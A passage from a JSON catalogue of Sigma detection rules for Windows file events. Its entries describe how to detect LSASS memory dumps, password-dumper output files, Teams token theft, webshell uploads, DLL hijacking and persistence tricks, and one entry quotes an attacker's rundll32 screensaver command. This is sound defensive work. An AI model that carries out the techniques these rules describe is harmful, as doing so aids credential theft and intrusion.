        "creation_date": "2022/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_shell_write_susp_files_extensions.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b8fd0e93-ff58-4cbd-8f48-1c114e342e62",
      "value": "Windows Binaries Write Suspicious Extensions"
    },
    {
      "description": "Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks.\nThis can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/11",
        "falsepositive": [
          "Cases in which a user mounts an image file for legitimate reasons"
        ],
        "filename": "file_event_win_iso_file_recent.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/",
          "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore",
          "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/",
          "https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1566.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4358e5a5-7542-4dcb-b9f3-87667371839b",
      "value": "ISO or Image Mount Indicator in Recent Files"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/13",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "file_event_win_remote_access_tools_screenconnect_artefact.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_access_tools_screenconnect_artefact.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fec96f39-988b-4586-b746-b93d59fd1922",
      "value": "ScreenConnect Temporary Installation Artefact"
    },
    {
      "description": "Detects programs on a Windows system that should not write executables to disk",
      "meta": {
        "author": "frack113, Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_legitimate_app_dropping_exe.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_exe.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f0540f7e-2db3-4432-b9e0-3965486744bc",
      "value": "Legitimate Application Dropped Executable"
    },
    {
      "description": "Detects when a file with a suspicious extension is created in the startup folder",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/10",
        "falsepositive": [
          "Rare legitimate usage of some of the extensions mentioned in the rule"
        ],
        "filename": "file_event_win_susp_startup_folder_persistence.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/last-byte/PersistenceSniper",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "28208707-fe31-437f-9a7f-4b1108b94d2e",
      "value": "Suspicious Startup Folder Persistence"
    },
    {
      "description": "Detects creation of a file named \"ErrorHandler.cmd\" in the \"C:\\WINDOWS\\Setup\\Scripts\\\" directory which could be used as a method of persistence\nThe content of C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd is read whenever some tools under C:\\WINDOWS\\System32\\oobe\\ (e.g. Setup.exe) fail to run for any reason.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_errorhandler_persistence.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/last-byte/PersistenceSniper",
          "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_errorhandler_persistence.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "15904280-565c-4b73-9303-3291f964e7f9",
      "value": "Potential Persistence Attempt Via ErrorHandler.Cmd"
    },
    {
      "description": "Detects the creation of a file with the name \"code_tunnel.json\" which indicate execution and usage of VsCode tunneling utility by an \"Image\" or \"Process\" other than VsCode.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_vscode_tunnel_renamed_execution.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://badoption.eu/blog/2023/01/31/code_c2.html",
          "https://ipfyx.fr/post/visual-studio-code-tunnel/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vscode_tunnel_renamed_execution.yml"
        ],
        "tags": [
          "attack.command_and_control"
        ]
      },
      "uuid": "d102b8f5-61dc-4e68-bd83-9a3187c67377",
      "value": "Renamed VsCode Code Tunnel Execution - File Indicator"
    },
    {
      "description": "Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.",
      "meta": {
        "author": "@sam0x90",
        "creation_date": "2022/07/30",
        "falsepositive": [
          "Potential FP by sysadmin opening a zip file containing a legitimate ISO file"
        ],
        "filename": "file_event_win_iso_file_mount.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Sam0x90/status/1552011547974696960",
          "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image",
          "https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_mount.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1566.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2f9356ae-bf43-41b8-b858-4496d83b2acb",
      "value": "ISO File Created Within Temp Folders"
    },
    {
      "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)",
      "meta": {
        "author": "Julia Fomina, oscd.community",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_winrm_awl_bypass.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d353dac0-1b41-46c2-820c-d7d2561fc6ed",
      "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File"
    },
    {
      "description": "Detects the creation of screensaver files (.scr) outside of system folders. Attackers may execute an application as an \".SCR\" file using \"rundll32.exe desk.cpl,InstallScreenSaver\" for example.",
      "meta": {
        "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io",
        "creation_date": "2022/04/27",
        "falsepositive": [
          "The installation of new screen savers by third party software"
        ],
        "filename": "file_event_win_new_scr_file.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Libraries/Desk/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_scr_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c048f047-7e2a-4888-b302-55f509d4a91d",
      "value": "SCR File Write Event"
    },
    {
      "description": "Detects the creation of a new office macro files on the systems via an application (browser, mail client).",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/23",
        "falsepositive": [
          "Legitimate macro files downloaded from the internet",
          "Legitimate macro files sent as attachments via emails"
        ],
        "filename": "file_event_win_office_macro_files_downloaded.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md",
          "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_downloaded.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1566.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0e29e3a7-1ad8-40aa-b691-9f82ecd33d66",
      "value": "Office Macro File Download"
    },
    {
      "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/12/29",
        "falsepositive": [
          "Legitimate custom SHIM installations will also trigger this rule"
        ],
        "filename": "file_event_win_creation_new_shim_database.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory",
          "https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence",
          "https://liberty-shell.com/sec/2020/02/25/shim-persistence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_new_shim_database.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.009"
        ]
      },
      "related": [
        {
          "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ee63c85c-6d51-4d12-ad09-04e25877a947",
      "value": "New Shim Database Created in the Default Directory"
    },
    {
      "description": "Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell.",
      "meta": {
        "author": "Beyu Denis, oscd.community, Tim Shelton, Thurein Oo",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Legitimate administrator or developer creating legitimate executable files in a web application folder"
        ],
        "filename": "file_event_win_webshell_creation_detect.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/c95a0a1a2855dc0cd7f7327614545fe30482a636/Upload%20Insecure%20Files/README.md",
          "PT ESC rule and personal experience",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1505.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "39f1f9f2-9636-45de-98f6-a4046aa8e4b9",
      "value": "Potential Webshell Creation On Static Website"
    },
    {
      "description": "Get-Variable is a valid PowerShell cmdlet\nWindowsApps is by default in the path where PowerShell is executed.\nSo when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_get_variable.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.joesandbox.com/analysis/465533/0/html",
          "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_get_variable.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546",
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b",
      "value": "Suspicious Get-Variable.exe Creation"
    },
    {
      "description": "Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_lsass_werfault_dump.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/helpsystems/nanodump",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c3e76af5-4ce0-4a14-9c9a-25ceb8fda182",
      "value": "WerFault LSASS Process Memory Dump"
    },
    {
      "description": "Detects the creation of a new office macro files on the systems",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/23",
        "falsepositive": [
          "Very common in environments that rely heavily on macro documents"
        ],
        "filename": "file_event_win_office_macro_files_created.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md",
          "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_created.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1566.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "91174a41-dc8f-401b-be89-7bfc140612a0",
      "value": "Office Macro File Creation"
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      "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.",
      "meta": {
        "author": "@SerkinValery",
        "creation_date": "2022/09/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_access_susp_teams.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens",
          "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1528"
        ]
      },
      "related": [
        {
          "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f624",
      "value": "Suspicious File Event With Teams Objects"
    },
    {
      "description": "Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_writing_local_admin_share.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_writing_local_admin_share.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1546.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4aafb0fa-bff5-4b9d-b99e-8093e659c65f",
      "value": "Writing Local Admin Share"
    },
    {
      "description": "Detects a dump file written by QuarksPwDump password dumper",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/02/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_hktl_quarkspw_filedump.yml",
        "level": "critical",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_quarkspw_filedump.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "847def9e-924d-4e90-b7c4-5f581395a2b4",
      "value": "QuarksPwDump Dump File"
    },
    {
      "description": "Detects suspicious file creation patterns found in logs when CrackMapExec is used",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_crackmapexec_patterns.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_crackmapexec_patterns.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9433ff9c-5d3f-4269-99f8-95fc826ea489",
      "value": "CrackMapExec File Creation Patterns"
    },
    {
      "description": "Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation.\nIn it's default mode, it builds a self deleting .bat file which executes malicious command.\nThe detection rule relies on creation of the malicious bat file (debug.bat by default).\n",
      "meta": {
        "author": "Subhash Popuri (@pbssubhash)",
        "creation_date": "2021/08/21",
        "falsepositive": [
          "Any powershell script that creates bat files"
        ],
        "filename": "file_event_win_hktl_powerup_dllhijacking.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_powerup_dllhijacking.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1574.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b96",
      "value": "Powerup Write Hijack DLL"
    },
    {
      "description": "Detects the creation of system dlls that are not present on the system. Usually to achieve dll hijacking",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), fornotes",
        "creation_date": "2022/12/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_create_non_existent_dlls.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc",
          "https://decoded.avast.io/martinchlumecky/png-steganography/",
          "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/",
          "https://github.com/Wh04m1001/SysmonEoP",
          "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992",
          "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_non_existent_dlls.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "df6ecb8b-7822-4f4b-b412-08f524b4576c",
      "value": "Creation Of Non-Existent System DLL"
    },
    {
      "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_wmiprvse_wbemcomn_dll_hijack.yml",
        "level": "critical",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiprvse_wbemcomn_dll_hijack.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "614a7e17-5643-4d89-b6fe-f9df1a79641c",
      "value": "Wmiprvse Wbemcomn DLL Hijack - File"
    },
    {
      "description": "Detects the creation of a new PowerShell module \".psm1\", \".psd1\", \".dll\", \".ps1\", etc. by a non-PowerShell process",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_powershell_module_uncommon_creation.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://learn.microsoft.com/en-us/powershell/scripting/developer/module/understanding-a-windows-powershell-module?view=powershell-7.3",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_module_uncommon_creation.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "e3845023-ca9a-4024-b2b2-5422156d5527",
      "value": "PowerShell Module File Created By Non-PowerShell Process"
    },
    {
      "description": "Detects the creation or modification of the Windows Terminal Profile settings file \"settings.json\" by an uncommon process.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/22",
        "falsepositive": [
          "Some false positives may occur with admin scripts that set WT settings."
        ],
        "filename": "file_event_win_susp_windows_terminal_profile.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1550836225652686848",
          "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1547.015/T1547.015.md#atomic-test-1---persistence-by-modifying-windows-terminal-profile",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_windows_terminal_profile.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9b64de98-9db3-4033-bd7a-f51430105f00",
      "value": "Windows Terminal Profile Settings Modification By Uncommon Process"
    },
    {
      "description": "Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...)\nbut with a space in order to trick DLL load search order and perform a \"DLL Search Order Hijacking\" attack\n",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali",
        "creation_date": "2022/07/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_dll_sideloading_space_path.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
          "https://twitter.com/cyb3rops/status/1552932770464292864",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b6f91281-20aa-446a-b986-38a92813a18f",
      "value": "DLL Search Order Hijackig Via Additional Space in Path"
    },
    {
      "description": "Detects the creation of tasks from processes executed from suspicious locations",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/11/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_task_write.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
